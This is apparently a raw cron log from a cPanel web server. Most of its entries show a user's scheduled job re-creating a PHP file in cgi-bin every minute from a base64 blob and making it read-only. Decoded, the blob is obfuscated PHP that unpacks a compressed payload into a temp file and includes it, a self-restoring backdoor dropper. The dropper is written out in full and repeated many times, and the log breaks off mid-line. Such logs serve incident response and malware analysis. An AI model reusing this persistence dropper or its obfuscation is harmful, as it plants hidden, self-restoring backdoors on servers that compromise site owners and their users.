Apr  7 05:54:01 server CROND[32651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:55:01 server CROND[359]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:55:01 server CROND[360]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:55:01 server CROND[361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:56:01 server CROND[469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:57:01 server CROND[524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:57:01 server CROND[525]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 05:58:01 server CROND[593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:59:01 server CROND[661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:00:01 server CROND[789]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:00:01 server CROND[788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 06:00:01 server CROND[791]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Apr  7 06:00:01 server CROND[790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:00:01 server CROND[792]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 06:00:01 server CROND[799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:01:01 server CROND[961]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 06:01:01 server CROND[962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:01:01 server run-parts(/etc/cron.hourly)[961]: starting 0anacron
Apr  7 06:01:01 server run-parts(/etc/cron.hourly)[974]: finished 0anacron
Apr  7 06:02:01 server CROND[1036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:03:01 server CROND[1115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:04:01 server CROND[1179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:05:01 server CROND[1240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 06:05:01 server CROND[1241]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 06:05:01 server CROND[1242]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 06:05:01 server CROND[1243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:06:01 server CROND[1448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 06:07:01 server CROND[1506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9f